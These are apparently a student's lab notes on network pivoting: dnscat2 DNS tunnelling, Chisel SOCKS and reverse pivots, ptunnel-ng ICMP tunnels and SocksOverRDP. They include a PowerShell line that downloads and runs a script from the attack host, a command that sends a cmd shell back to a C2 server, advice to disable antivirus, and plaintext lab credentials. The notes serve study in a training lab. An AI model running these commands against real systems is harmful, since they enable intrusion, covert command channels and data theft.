# Branching out our tunnels

**DNS tunneling Dnscat2**

* Dnscat2 is a tunnelling tool that utilizes DNS protocols to send data between two hosts
* it uses an encrypted C2 channel and sends data inside TXT records within the DNS protocol
* In dnscat2, when address resolution is requested from an external server, it typically involves the compromised system (agent or implant) making DNS queries to the dnscat2 server to resolve domain names. The DNS protocol, which is normally used to translate human-readable domain names into IP addresses, is repurposed to carry covert communication between the compromised system and the command-and-control (C2) server.

example

* we will download the dnscat2 repo

```
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo gem install bundler
sudo bundle install
```

* we can start a Dnscat2 server on our local machine (attacking machine) by executing the dnscat2 file

```
sudo ruby dnscat2.rb --dns host=10.10.14.26,port=53,domain=inlanefreight.local --no-cache
```

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FJAcR8BWMYM8TCO6Ym1Uj%2Fimage.png?alt=media&#x26;token=07571e8f-1bff-4d75-a7d8-9cba7cf5e67b" alt=""><figcaption></figcaption></figure>

After we have the server running, this will provide us with a sercret key, which we will have to provide to the dnscat2 client when we deploy it on the windows client, this key essentailly handles authenticates and encrypts the data that is sent to our external dnscat2 server

* we can utilize the dnscat-powershell, a dnscat2 compatible PowerShell client that we can run from windows targets to establish a tunnel with our dnscat2 server, lets clone the project

```
sudo git clone https://github.com/lukebaggett/dnscat2-powershell.git
```

* currently i have a rdp session on the already compromised host, Now we need to import the `dnscat2.ps1` module onto the system

```
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.26/dnscat2.ps1')
```

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2Fu0Pgjfawq9LJZEXO2Vkq%2Fimage.png?alt=media&#x26;token=df523479-f141-48e8-8928-c08708b17eb9" alt=""><figcaption></figcaption></figure>

* Now that dnscat2,ps1 is imported, we can now use it to establish a tunnel with the server running on our attack host, we can send back a cmd shell session to our server

```
Start-Dnscat2 -DNSserver 10.10.14.26 -Domain inlanefreight.local -PreSharedSecret 938a1271da9a24b62250e22e7aeef915 -Exec cmd
```

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FmVNbfNr63xlN4jAcz8O1%2Fimage.png?alt=media&#x26;token=1e61e5ca-14fa-4666-b0b7-6074cd8c31ba" alt=""><figcaption></figcaption></figure>

if we look back at our dnscat2 server we can see we got a successful hit, and we have a shell on the system

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FLJ8QJhGbtznQfSNwghgj%2Fimage.png?alt=media&#x26;token=d36edfab-c4e0-4259-9640-a2deec5a9328" alt=""><figcaption></figcaption></figure>

**SOCKS5 tunnelling with Chisel**

* chisel is a TCP/UDP-based tunnelling tool written in go, that uses HTTP to transport data that is secure using SSH

scenario

We have compromised a public-facing server (ubuntu machine) and we want to pivot into the internal subnet of 172.16.5.0/23, since we have already compromised the public facing server we can use this as a chisel server (pivot point) which will listen on a specific port and forward our traffic to the internal subnet of 172.16.5.0/24 through an established tunnel

* Setting up chisel, clone repo, build binary

```
#cloen the repo
sudo git clone https://github.com/jpillora/chisel.git
#building the chisel binary
cd chisel
sudo go build
```

* Now that our binary is built we can transfer it to the compromised host (pivot point)
* Running our chisel server (pivot host)

```
./chisel server -v -p 1234 --socks5
```

(error) we did come acrss the following error, when we try to deploy the chisel server on the pivot host

```
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./chisel)
```

* easy fix, just download an older version of chisel from&#x20;

```
sudo https://github.com/jpillora/chisel/releases/tag/v1.7.4
sudo gzip -d chisel_1.7.4_linux_amd64.gz
mv chisel_1.7.4_linux_amd64 chisel
sudo chmod +x chisel
```

Now our chisel server will listen for incoming connections on port 1234 using SOCKS5 and forward it out to all the networks that are reachable from the pivot host.

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FVfg79HF0APFoCJLbvTIO%2Fimage.png?alt=media&#x26;token=44801cb1-a238-4a76-85bb-10ecc2cff3c0" alt=""><figcaption></figcaption></figure>

* We can now start our chisel client (us, attack host) and connect to the chisel server (pivot host)

```
./chisel client -v 10.129.130.77:1234 socks
```

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2F9WZVkELCwxRkPsP6GFPz%2Fimage.png?alt=media&#x26;token=b4ecdd67-39f0-4cc4-9f64-20c901ad1e0d" alt=""><figcaption></figcaption></figure>

within the chisel output we should see where chisel specified a local port on our machine (attack host) that's listening for incoming traffic, from here we can make a new entry into our / `/etc/proxychains.conf` file&#x20;

* directing proxychains to our clients listening port

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2Fl8q3OryLhCdksytM51mp%2Fimage.png?alt=media&#x26;token=851b97d7-96ed-4de6-8dd5-d8cd59ee6fa9" alt=""><figcaption></figcaption></figure>

* &#x20;we should be able to interact with the internal subnet

```
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123
```

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2Fm7TEE2VVFfOjfufA1WXQ%2Fimage.png?alt=media&#x26;token=0e8b1525-b084-4917-aa05-7a2bfb3f0b68" alt=""><figcaption></figcaption></figure>

**Chisel Reverse Pivot**

Now there may come in the future where say firewall rules restrict inbound connections to our compromised targets, in such cases we can use Chisel with the reverse option enabled

`--reverse`

starting the Chisel server on our attack host

```
sudo ./chisel server --reverse -v -p 1234 --socks5
```

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FIS9fkl6k26w6bSgpE10q%2Fimage.png?alt=media&#x26;token=b854646f-002f-476e-8015-8f7c9eeb033a" alt=""><figcaption></figcaption></figure>

then we can can connect from our public facing server we have compromised (pivot host) to our attack host (chisel server) using the `R:socks` option

* Connecting the Chisel client to our attack host

```
./chisel client -v 10.10.14.26:1234 R:socks
```

* Now we can configure our `/etc/proxychains.conf` file

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2Fs3rVvoGU3dVPB7Lj8Txh%2Fimage.png?alt=media&#x26;token=32c64dca-94f8-41c2-bef7-15914fb73560" alt=""><figcaption></figcaption></figure>

* Now we should have the ability to interact with the internal subnet

```
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123
```

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2F4zPiEF7lzQlTUQ9jN6fx%2Fimage.png?alt=media&#x26;token=f4ebf7cb-cf0f-4245-9aef-2e5581a6e32f" alt=""><figcaption></figcaption></figure>

**ICMP Tunnelling with SOCKS**

ICMP tunnelling encapsulates our traffic with ICMP packets containing echo requests and responses

* ICMP tunnelling will only work when ping responses are permitted within the firewalled network
* When a host within a firewalled network is allowed to ping an external server, it can encapsulate its traffic within the ping echo request and send it to an external server m then the external server can validate this traffic and send an appropriate response, which proves very useful for data exfiltration and creating pivoting tunnels to an external server.
* For this we will utilize the `ptunnel-ng` tool to create a tunnel between the external facing server (ubuntu) and our attack host (us), from which we should be able to proxy our traffic through the `ptunnel-ng client`

lets set up ptunnel-ng on our host machine

```
sudo apt-get install ptunnel-ng
```

we can copy the binary into our working directory

```
cp /usr/bin/ptunnel-ng ./ 
```

Lets transfer the tool to our pivot host (ubuntu)

```
scp -r ptunnel-ng ubuntu@10.129.130.77:~/
```

Now with ptunnel on our pivot host we can start the server-side of the ICMP tunnel on our pivot host

```
sudo ./ptunnel-ng -r10.129.130.77 -R22
```

* `-r`: should be the IP we want ptunnel-ng to accept connections on
* `-R`: specifying the port for our attack machine to connect to

Within our attack machine (us) we can no connect to the ptunnel-ng server

```
sudo ptunnel-ng -p10.129.130.77 -l2222 -r10.129.130.77 -R22
```

* `-p`: Specifying the IP address of the machine (our pivot host) running the ptunnel-ng server, this machine will receive our incoming requests
* `-l 2222`: specifying the local port on our machine to listen for incoming connections, connecting through port 2222 allows us to send traffic through the ICMP tunnel
* `-r`: specifies the IP address of the ptunnel-ng server to which the tunnelled connections will be forwarded
* `-R`: Specifies the remote port on our ptunnel-ng server to which the tunnelled connection&#x20;

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FjH1BpvbzLrHUi3bVI5DG%2Fimage.png?alt=media&#x26;token=e3a8f375-87c6-46b7-9282-4d1b775ad508" alt=""><figcaption></figcaption></figure>

with the tunnel-ng ICMP tunnel successfully established, we can attempt to connect to the target through SSH through local port 2222

```
ssh -p2222 -lubuntu 127.0.0.1
```

* we can also use this tunnel and SSH to perform dynamic port forwarding to allow us to use proxychains in various

Enabling Dynamic Port Forwarding over SSH

```
ssh -D 9050 -p2222 -lubuntu 127.0.0.1
```

* Now we can configure our proxychains file

**RDP and SOCKS Tunnelling with SocksOverRDP**

Often times during an engagement we may be limited to a windows network and may not have SSH enabled for pivoting, We should use tools available for Windows operating systems in these cases.

* SocksOverRDP is an example of a tool that uses Dynamic Virtual Channels (DVC) from a Remote Desktop Service feature of windows
* DVC is responsible for tunnelling packets over RDP connection, we can also utilize DVC to tunnel arbitrary packets over the network
* We can use SocksOverRDP to tunnel our custom packets and then proxy through it
* we can utilize tools such as Proxifier as our proxy server

1. Lets download the appropriate binaries to our attack host to perform this attack having the binaries on our attack host will allow us to transfer them to each target where needed

* <https://github.com/nccgroup/SocksOverRDP/releases>
* <https://www.proxifier.com/download/#win-tab>

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FO8BQY3j4jzSQlg3kYSHa%2Fimage.png?alt=media&#x26;token=0bc66233-ff07-4e4e-9921-2e67465a9de4" alt=""><figcaption></figcaption></figure>

we should have both zip files on our attack host&#x20;

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FAAW4RAac7OIBujWewZFd%2Fimage.png?alt=media&#x26;token=673a028a-c088-495b-96c4-6c1a214b7844" alt=""><figcaption></figcaption></figure>

2. &#x20;lets connect to the target machine (pivot host) via RDP and copy the SocksOverRDPx64.zip file over

```
xfreerdp /u:htb-student /p:HTB_@cademy_stdnt! /v:10.129.214.27
```

* we can just copy and paste the zip files in our RDP session

3. we need to load the SocksOverRDP.dll using regsvr32.exe as administrator cmd.exe session

```
regsvr32.exe SocksOverRDP-Plugin.dll
```

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2F0S3YHPSt02PBGhdT8dyV%2Fimage.png?alt=media&#x26;token=4acd8ca9-52b1-4bbe-9f36-5175a70c83ab" alt=""><figcaption></figcaption></figure>

* we should receive the following prompt that our plugin is enabled, and it will listen on `localhost:1080`&#x20;
* remember to disable real-time virus protection

4. &#x20;Now we can connect to 172.16.5.19 (Domain controller, pivot host) over RDP using `mstsc.exe`&#x20;

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2F7WW7XwCjgsWnt77xw4Cp%2Fimage.png?alt=media&#x26;token=c5b1a2a5-65d5-4066-b4b8-b5cf15b2aa22" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2Fkly9PJCjj1Yz5JF8pBO0%2Fimage.png?alt=media&#x26;token=0b98d7ee-cea0-46e4-a255-49c4084b9466" alt=""><figcaption></figcaption></figure>

5. Now we need to transfer over our `SocksOverRDP-Server.exe` we&#x20;

* copy and paste the file
* Now we can run it in administrative cmd prompt

```
.\SocksOverRDP-Server.exe
```

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2Fpola0UYGs1MjWVnc0zaD%2Fimage.png?alt=media&#x26;token=16a30d74-fa7c-4bba-a8fb-947befc13b73" alt=""><figcaption></figcaption></figure>

6. We can confirm that we have a SOCKS listener on the workstation (pivot point, initial foothold) by running netstat

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FG2I4dfXq5MHNWuI4UnUE%2Fimage.png?alt=media&#x26;token=45ac9b5e-0956-4b7e-9354-8699e4b221d6" alt=""><figcaption></figcaption></figure>

7. After starting our listener, we can now configure Proxifier on our initial foothold to forward all our packets from 127.0.0.1:1080

* Profixier will route through the the given host and port

to configure Proxifier we need to click "Profile" -> "Proxy server" -> "Add" ->

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FM2awLJO7zRragaeQrKKj%2Fimage.png?alt=media&#x26;token=49bcad67-1135-4188-a9ab-fc955a370aab" alt=""><figcaption></figcaption></figure>

* With Proxifier configured and running, we can connect to the domain controller via RDP, and it will use Proxifier to pivot all of our won traffic via 127.0.0.1:1080, which will tunnel it over RDP to 172.16.5.19, which then will route it to 172.16.6.155 using SocksOverRDP-server.exe
